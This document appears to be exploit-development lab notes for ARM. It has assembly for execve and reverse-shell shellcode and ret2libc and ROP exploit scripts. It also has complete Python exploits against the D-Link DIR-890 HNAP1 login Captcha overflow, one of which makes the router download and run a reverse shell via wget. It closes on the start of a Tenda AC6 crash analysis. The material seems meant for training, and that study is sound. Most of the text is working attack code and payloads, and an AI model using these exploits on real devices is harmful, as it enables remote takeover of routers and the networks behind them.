ARM
ARM¶
Shellcode¶
Converting ASM to shellcode:
#This outputs the full elf binary
arm-linux-gnueabi-as shell.s -o shell
#This just gets the shellcode part of the binary (Removed the elf header)
arm-linux-gnueabi-objcopy -O binary shell shell.bin
#Convert to hex
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin > shell.hex
Examples¶
Simple execve("/bin/sh", NULL, NULL) Shellcode:
.section .text
.global _start
_start:
.code 32 //Switch to Thumb Mode
add r3, pc, #1
bx r3
.code 16 //Thumb Mode
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
eor r1, r1 //Set R1 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
binsh:
.string "/bin/shX"
Simple Busybox execve("/bin/sh", ["/bin/sh"], NULL) Shellcode:
.section .text
.global _start
_start:
.arm //Switch to Thumb Mode
add r3, pc, #1
bx r3
.thumb //Thumb Mode
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
push {r0, r2} //Push R0 and R2 on the stack creating an array of one element which is the binsh string
mov r1, r1 //Nop to allign the code
mov r1, sp //Copy the stack pointer to r1
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
binsh:
.string "/bin/shX"
Simple Reverse Shell:
.section .text
.global _start
_start:
.arm //Switch to Thumb Mode
add r3, pc, #1
bx r3
socket: //sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
.thumb
eor r2, r2 // Set r2 to zero This is the IPPROTO_IP (0x00)
adr r6, sockaddr // Set address of sockaddr to set the AF_NET
strb r2, [r6, #1] // Fix the 0xff byte of the shelcode to a nullbyte
ldrb r0, [r6,#0] // load the first byte of AF_INET from sockaddr into first argument
mov r1, #1 // Setting SOCK_STREAM = 0x01
mov r7, #255 //#281 can not be moved in a single instruction break into mov and add
add r7, #26 //256+25 = 281
svc #1 //Systemcall #281 for socket
mov r8, r0 //save the return socket file descriptor (r0) to r8
connect: //connect(sockfd, &addr, sizeof(addr))
.thumb
mov r1, r6 //Copy sockaddr to r1
strb r2, [r1, #6] // Fix the 0x01 byte of the ip address to a 0x00
mov r2, #16 //Set sizeof addr
add r7, #2 //Set connect syscall number(283) to 281+2
svc #1 //Systemcall #283 for connect
dup2_1:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
eor r1, r1 // Set arg1 to 0
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
dup2_2:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
add r1, #1 //Set arg1 to (0+1) = 1
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
dup2_3:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
add r1, #1 //Set arg1 to (1+1) =2
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
execve:
.thumb
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
eor r1, r1 //Set R1 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
sockaddr:
.ascii "\x02" // AF_NET socket address family (2)
.ascii "\xff" // Replace 0xff with 0x00
.ascii "\x11\x5c" //Port number 4444
ip_addr:
.byte 192,168,1,254 //IP Address
binsh:
.ascii "/bin/shX"
Ret2libc without NX¶
Show NX is disabled:
gef➤ vmmap
Start End Offset Perm Path
0x00400000 0x00401000 0x00000000 r-x /home/user/challenges-day1/challenge1
0x00410000 0x00411000 0x00000000 r-x /home/user/challenges-day1/challenge1
0x00411000 0x00412000 0x00001000 rwx /home/user/challenges-day1/challenge1
0xbefdf000 0xbf000000 0x00000000 rwx [stack]
Getting Offset to PC¶
Creating a fuzzing Pattern:
gef➤ pattern create 2500
[+] Generating a pattern of 2500 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraab
Checking if Thumb mode is enabled:
gef➤ reg $cpsr
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]
Checking Offset for patterns:
#Check for ARM Pattern
gef➤ pattern search $pc 2500
[+] Searching '$pc'
[+] Found at offset 128 (little-endian search) likely
[+] Found at offset 704 (big-endian search)
#Check for ARM pattern if in THUMB mode
gef➤ pattern search $pc+1 2500
[+] Searching '$pc+1'
[+] Found at offset 132 (little-endian search) likely
[+] Found at offset 804 (big-endian search)
Generating the Exploit¶
The Ret2Libc is just to put the ARM processor into THUMB mode which makes it easier to do shellcode.
Exploit Template for Executable Stack:
#!/usr/bin/python
from struct import pack
libc = 0xb6ede000 #libc base address
#Shellcode for Reverse shell
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0b\xa1\x4a\x70\x0b\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"
payload = 'A'*132 # Padding until PC crashes
payload += pack('<I', libc + 0x8b29) # Gadget address for `blx sp`
payload += shellcode
print payload
Ret2libc with NX¶
Show NX is enabled:
gef➤ vmmap
Start End Offset Perm Path
0x00400000 0x00401000 0x00000000 r-x /home/user/challenges-day1/challenge2
0x00410000 0x00411000 0x00000000 r-- /home/user/challenges-day1/challenge2
0x00411000 0x00412000 0x00001000 rw- /home/user/challenges-day1/challenge2
0xb6ede000 0xb6fc0000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fc0000 0xb6fd0000 0x000e2000 --- /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fd0000 0xb6fd2000 0x000e2000 r-- /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fd2000 0xb6fd3000 0x000e4000 rw- /lib/arm-linux-gnueabihf/libc-2.27.so
0xbefdf000 0xbf000000 0x00000000 rw- [stack]
Getting Offsets¶
Check for THUMB mode:
gef➤ registers $cpsr
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]
Searching For offsets:
0x62616168 in ?? ()
gef➤ pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 132 (little-endian search) likely
[+] Found at offset 804 (big-endian search)
gef➤ registers $r4
$r4 : 0xbefff358 → "raabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaacea[...]"
gef➤ pattern search $r4
[+] Searching '$r4'
[+] Found at offset 168 (little-endian search) likely
Generating Exploit¶
Setting up the registers and the Stack
- R0: Needs to point at "/bin/sh" string
- Since this is on the stack this can be done with a mov r0, sp
- Since r4 is also pointing to the stack at offset 168 we can use that also
- PC: Needs to point to the "system" function
Since there is no mov r0, sp
gadgets we have to use something else. Since the r4 register also points into the stack on user controllable memory lets use that.
Finding the First Gadget:
user@Azeria-Lab-VM:~/Downloads/libc$ ropper --file ./libc-2.27.so --conosle
(libc-2.27.so/ELF/ARMTHUMB)> search /1/ mov r0, r4
[INFO] Searching for gadgets: mov r0, r4
[INFO] File: ./libc-2.27.so
0x0004ac26 (0x0004ac27): mov r0, r4; blx r1;
0x0005658a (0x0005658b): mov r0, r4; blx r2;
0x000460cc (0x000460cd): mov r0, r4; blx r3;
0x00017d1c (0x00017d1d): mov r0, r4; blx r5;
0x0009e602 (0x0009e603): mov r0, r4; blx r6;
0x0002f010 (0x0002f011): mov r0, r4; bx lr;
0x000188a2 (0x000188a3): mov r0, r4; pop {r3, r4, r5, pc};
0x00022d94 (0x00022d95): mov r0, r4; pop {r3, r4, r5, r6, r7, pc};
0x00024d78 (0x00024d79): mov r0, r4; pop {r4, pc};
0x00047b48 (0x00047b49): mov r0, r4; pop {r4, r5, r6, pc};
Finding the system address:
user@Azeria-Lab-VM:~/Downloads/libc$ readelf -a libc-2.27.so | grep system
234: 000b9645 76 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.4
604: 0002d48d 28 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1386: 0002d48d 28 FUNC WEAK DEFAULT 13 system@@GLIBC_2.4
Putting it all together:
#!/usr/bin/python
from struct import pack
#Get the libc base address from vmmap
#Make sure it is an executable mapped memory region
libc = 0xb6ede000
#Padding from the pattern search
payload = 'A'*132 # Padding for PC crash
#Get the first Gadget
#The first address is ARM mode. The second is THUMB mode
#0x00024d78 (0x00024d79): mov r0, r4; pop {r4, pc};
#This will move the r4 pointer that points into the stack into r0 which is needed for the system call
payload += pack('<I', libc + 0x00024d79) # First gadget
#More padding because the Gadget also pops memory from the stack into the r4 register overwriting it.
payload += 'B'*4
#This is the system address which will be the Program Counter Register.
payload += pack('<I', libc + 0x0002d48d)
#More padding to get the initial r4 register to point to the "/bin/sh" string
#r4 is at offset 168 and the original padding is to 132.
# 168 = (132 padding) + (4 first gadget) + (4 possible second gadget 'BBBB') + (4 system address) + (24 padding)
payload += 'C'*24
payload += "/bin/sh"
print payload
Attacking the DLink DIR890 Router¶
Inital Crash¶
Inital Crash Request:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/Login"
HNAP_AUTH: 288B3767E109993D86204D579BD65CC8 1436839665
X-Requested-With: XMLHttpRequest
Content-Length: 400
Connection: close
Referer: http://192.168.0.1/info/Login.html
Cookie: uid=Dttnaq0cl8
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaam</Captcha></Login></soap:Body></soap:Envelope>
Initial Crash Information:
───────────────────────────────────────────────────────────────[ registers ]────
$r0 : 0xbeffecdc → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r1 : 0xbefff0f0 → "laakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxa[...]"
$r2 : 0x0
$r3 : 0x2a614e43 ("CNa*"?)
$r4 : 0x4007b4f8 → 0x0006d440
$r5 : 0xbefffb54 → 0xbefffc8c → "/usr/sbin/hnap"
$r6 : 0x2
$r7 : 0xbefffc8c → "/usr/sbin/hnap"
$r8 : 0x9324 → mov r12, sp
$r9 : 0x9944 → push {r11, lr}
$r10 : 0xbefffac8 → 0x00000000
$r11 : 0xbefff0f4 → "maaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakya[...]"
$r12 : 0x6d
$sp : 0xbeffe4c8 → 0x00000000
$lr : 0x19804 → movw r3, #64492 ; 0xfbec
$pc : 0x19820 → strb r2, [r3]
$cpsr : [negative ZERO CARRY overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────[ stack ]────
0xbeffe4c8│+0x00: 0x00000000 ← $sp
0xbeffe4cc│+0x04: 0xbefff400 → 0x00000000
0xbeffe4d0│+0x08: 0x0002c4d8 → "Captcha"
0xbeffe4d4│+0x0c: 0x00039730 → "<?xml version="1.0" encoding="utf-8"?><soap:Envelo[...]"
0xbeffe4d8│+0x10: 0x00000000
0xbeffe4dc│+0x14: "</Captcha>"
0xbeffe4e0│+0x18: "ptcha>"
0xbeffe4e4│+0x1c: 0x77003e61 ("a>"?)
────────────────────────────────────────────────────────────────[ code:arm ]────
0x19814 add r2, r1, r2
0x19818 add r3, r2, r3
0x1981c mov r2, #0
→ 0x19820 strb r2, [r3]
0x19824 sub r3, r11, #1040 ; 0x410
0x19828 sub r3, r3, #4
0x1982c sub r3, r3, #4
0x19830 ldr r0, [r11, #-3112] ; 0xfffff3d8
0x19834 mov r1, r3
─────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "hnap", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x19820 → strb r2, [r3]
[#1] 0x19804 → movw r3, #64492 ; 0xfbec
────────────────────────────────────────────────────────────────────────────────
0x00019820 in ?? ()
Set a breakpoint before the Crash:
gef➤ b *0x19810
Note: breakpoint 1 also set at pc 0x19810.
Breakpoint 2 at 0x19810
gef➤ set follow-fork-mode child
gef➤ c
Find padding offset for Crash:
gef➤ pattern search $r2
[+] Searching '$r2'
[+] Found at offset 640 (big-endian search)
Finding the PC Offset¶
Inital PoC for finding the PC Offset:
#!/usr/bin/python
import urllib2
from struct import pack
opener = urllib2.build_opener()
libc = 0x4000e000 # libc base address
#Initial Padding for Out of bounds read Crash
payload = "A"*1024
#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)
#Pattern for PC offset
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"
xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload
req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
data=xml_data,
headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
'Content-Type': 'text/xml'})
try:
f = urllib2.urlopen(req)
except:
pass
Getting the offset from gef:
gef➤ pattern offset $pc
[+] Searching '$pc'
[+] Found at offset 20 (little-endian search) likely
Final Exploit with correct PC offset:
#!/usr/bin/python
import urllib2
from struct import pack
opener = urllib2.build_opener()
libc = 0x4000e000 # libc base address
#Initial Padding for Out of bounds read Crash
payload = "A"*1024
#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)
#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20
#Program Counter
payload += "CCCC"
xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload
req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
data=xml_data,
headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
'Content-Type': 'text/xml'})
try:
f = urllib2.urlopen(req)
except:
pass
Bypassing NX with ROP (system)¶
Find the System Address in a new lib:
user@Azeria-Lab-VM:~/Downloads/libc$ readelf -a libuClibc-0.9.32.1.so | grep system
433: 0005a270 348 FUNC WEAK DEFAULT 7 system
904: 00047b38 80 FUNC GLOBAL DEFAULT 7 svcerr_systemerr
1394: 0005a270 348 FUNC GLOBAL DEFAULT 7 __libc_system
Search for a Gadget to set r0 to the stack pointer:
user@Azeria-Lab-VM:~/Downloads/libc$ ropper -f libuClibc-0.9.32.1.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libuClibc-0.9.32.1.so/ELF/ARM)> search /1/ mov r0, sp
0x00040cb8: mov r0, sp; blx r3;
Search for a Gadget to pop a value into r3:
(libuClibc-0.9.32.1.so/ELF/ARM)> search /1/ pop %r3%
[INFO] Searching for gadgets: pop %r3%
[INFO] File: ../libc/libuClibc-0.9.32.1.so
0x00033e48: pop {r0, r1, r2, r3, r4, pc};
0x00019744: pop {r0, r1, r2, r3, r4, r5, r6, pc};
0x0003224c: pop {r0, r1, r2, r3, r4, r5, r7, pc};
0x00015f0c: pop {r1, r2, r3, pc};
0x00016654: pop {r1, r2, r3, r4, r5, pc};
0x00034ae4: pop {r1, r2, r3, r4, r5, pc}; bx lr;
0x00014e40: pop {r1, r2, r3, r4, r5, r6, r7, pc};
0x000169a0: pop {r2, r3, r4, pc};
0x00041244: pop {r2, r3, r4, r5, r6, pc};
0x00016ae8: pop {r2, r3, r4, r5, r7, pc};
0x0005b014: pop {r2, r3}; bx lr;
0x00018298: pop {r3, pc};
0x00042098: pop {r3, pc}; bx lr;
0x0001719c: pop {r3, r4, r5, pc};
0x00015d40: pop {r3, r4, r5, r6, r7, pc};
0x000153c8: pop {r3, r4, r7, pc};
Final Exploit with correct PC offset:
#!/usr/bin/python
import urllib2
from struct import pack
opener = urllib2.build_opener()
libc = 0x4000e000 # libc base address
#Initial Padding for Out of bounds read Crash
payload = "A"*1024
#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)
#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20
# First Gadget 0x00018298: pop {r3, pc};
#This will set up a value that we can put in to r3
payload += pack('<I', libc + 0x00018298)
#This is the value that we will load into r3
#This is the address for the system function
payload += pack('<I', libc + 0x0005a270) # System address
#This is the second Gadget this will set r0 to the sp.
# Then will branch into the r3 which we set in the first Gadget to the system address
# Second Gadget 0x00040cb8: mov r0, sp; blx r3;
payload += pack('<I', libc + 0x00040cb8)
# When blx is executed r0 will point here
payload += "wget http://192.168.0.254/rshell -O /tmp/rshell && chmod +x /tmp/rshell && /tmp/rshell"
xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload
req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
data=xml_data,
headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
'Content-Type': 'text/xml'})
try:
f = urllib2.urlopen(req)
except:
pass
ASLR Bruteforce¶
Turn on ASLR:
sudo sh -c "echo 1 > /proc/sys/kernel/randomize_va_space"
Brute-forcing is possible since there is only 3 bytes of random so 4095 random positions.
ASLR Offsets:
$ while true; do ldd ./backup; done | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)
Bruteforce running the script many times:
COUNTER=0; while true; do COUNTER=$(($COUNTER+1)); echo Attempt No. $COUNTER; python ~/DIR-exploits/dir-ret2libc-done.py; sleep 1; done
ROP with mprotect¶
This wont work with ASLR on since there are some hardcoded stack values in here
Mprotect Payload:
#!/usr/bin/python
import urllib2
from struct import pack
opener = urllib2.build_opener()
#base address from
libc = 0x4000e000
#shellcode for Reverse Shell Busybox version
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0d\xa1\x4a\x70\x0d\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"
#Initial Padding for Out of bounds read Crash
payload = "A"*1024
#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)
#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20
# Setup Trap for lr
# This sets the lr register to the next gadget on the stack
payload += pack('<I', libc + 0x00043330 ) # 0x00043330: pop {lr}; add sp, sp, #8; bx lr;
# The lr register is now set to this next function: pop {r4, pc}; and not changed
payload += pack('<I', libc + 0x0002d350) # 0x0002d350: pop {r4, pc};
payload += 'PPPP' #Padding from add sp, sp, #8
payload += 'PPPP' #Padding from add sp, sp, #8
payload += 'TTTT' #Garbage R4 value from trap function
# Prepare R2 with the RWX value 0x7 using addition or subtraction
payload += pack('<I', libc + 0x00015f0c) # First R2=0x7 Gadget -> 0x00015f0c: pop {r1, r2, r3, pc};
payload += pack('<I', 0x11111111) # First large R1 value
payload += pack('<I', 0xEEEEEEF6) # Second large R2 value
#0x11111111 + 0xEEEEEEF6 = 0x100000007
#This next part wont work with ASLR on
payload += pack('<I', 0xbefff258) #R3 stack value 0xbefd0110
payload += pack('<I', libc + 0x00059f3c) # Second Gadget -> 0x00059f3c: add r2, r2, r1; str r2, [r3]; pop {r3, pc};
#This next part wont work with ASLR on
payload += pack('<I', 0xbefff258) # Reset R3 Stack Value
#Next gadget
payload += pack('<I', libc + 0x0003db80) # Third Gadget -> 0x0003db80: pop {r0, pc};
payload += pack('<I', 0xfffff001) #0xfffff001 that will be used to get the page alignment This is poped in to the R0 register
payload += pack('<I', libc + 0x00040634) # Fourth Gadget -> 0x00040634: and r0, r3, r0; bx lr;
payload += 'EEEE' #garbage r4 from trap
payload += pack('<I', libc + 0x00016760) # 0x00016760
# Mprotect address
payload += 'EEEE' # Garbage R4 from trap
payload += pack('<I', libc + 0x000061d5) #Last gadget for branch in to shellcode 0x000061d4 (0x000061d5): bx sp;
# shellcode copy the hex string in the shellcode variable at the beginning of the script
payload += shellcode
xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload
req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
data=xml_data,
headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
'Content-Type': 'text/xml'})
try:
f = urllib2.urlopen(req)
except:
pass
Attacking the Tenda AC6 Router¶
Initial Crash loading byte from r3:
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0 : 0x41414141 ("AAAA"?)
$r1 : 0xd881c → "http://"
$r2 : 0xd881c → "http://"
$r3 : 0x41414141 ("AAAA"?)
$r4 : 0x68
$r5 : 0x11bfa0 → "/main.html"
$r6 : 0x1
$r7 : 0xbefff89b → "httpd"
$r8 : 0xe994 → <_init+0> mov r12, sp
$r9 : 0x2e158 → push {r4, r11, lr}
$r10 : 0xbefff708 → 0x00000000
$r11 : 0xbeffe80c → 0x0003037c → <R7WebsSecurityHandler+5344> mov r3, #0
$r12 : 0xfb0ac → 0x4022993c → 0xe92d4010
$sp : 0xbeffe7d0 → 0x000fad1c → 0x000fabd4 → 0x00000001
$lr : 0x2d818 → mov r3, r0
$pc : 0x40229954 → 0xe5d3c000
$cpsr : [negative zero CARRY overflow interrupt fast thumb]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xbeffe7d0│+0x00: 0x000fad1c → 0x000fabd4 → 0x00000001 ← $sp
0xbeffe7d4│+0x04: 0x0002d818 → mov r3, r0
0xbeffe7d8│+0x08: 0x00000000
0xbeffe7dc│+0x0c: 0x00000000
0xbeffe7e0│+0x10: 0x00000001
0xbeffe7e4│+0x14: 0x0010cbbc → 0x00000000
0xbeffe7e8│+0x18: 0x41414141
0xbeffe7ec│+0x1c: 0x0011aa20 → 0x0011ab28 → "accept-encoding"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:arm ]────
0x40229948 ldrb r4, [r2]
0x4022994c cmp r4, #0
0x40229950 popeq {r4, pc}
→ 0x40229954 ldrb r12, [r3]
0x40229958 cmp r4, r12
0x4022995c addeq r2, r2, #1
0x40229960 addeq r3, r3, #1
0x40229964 beq 0x40229948
0x40229968 cmp r12, #0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "httpd", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x40229954 → ldrb r12, [r3]
[#1] 0x2d818 → mov r3, r0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x40229954 in ?? ()
Lets execute the payload with gdb pattern:
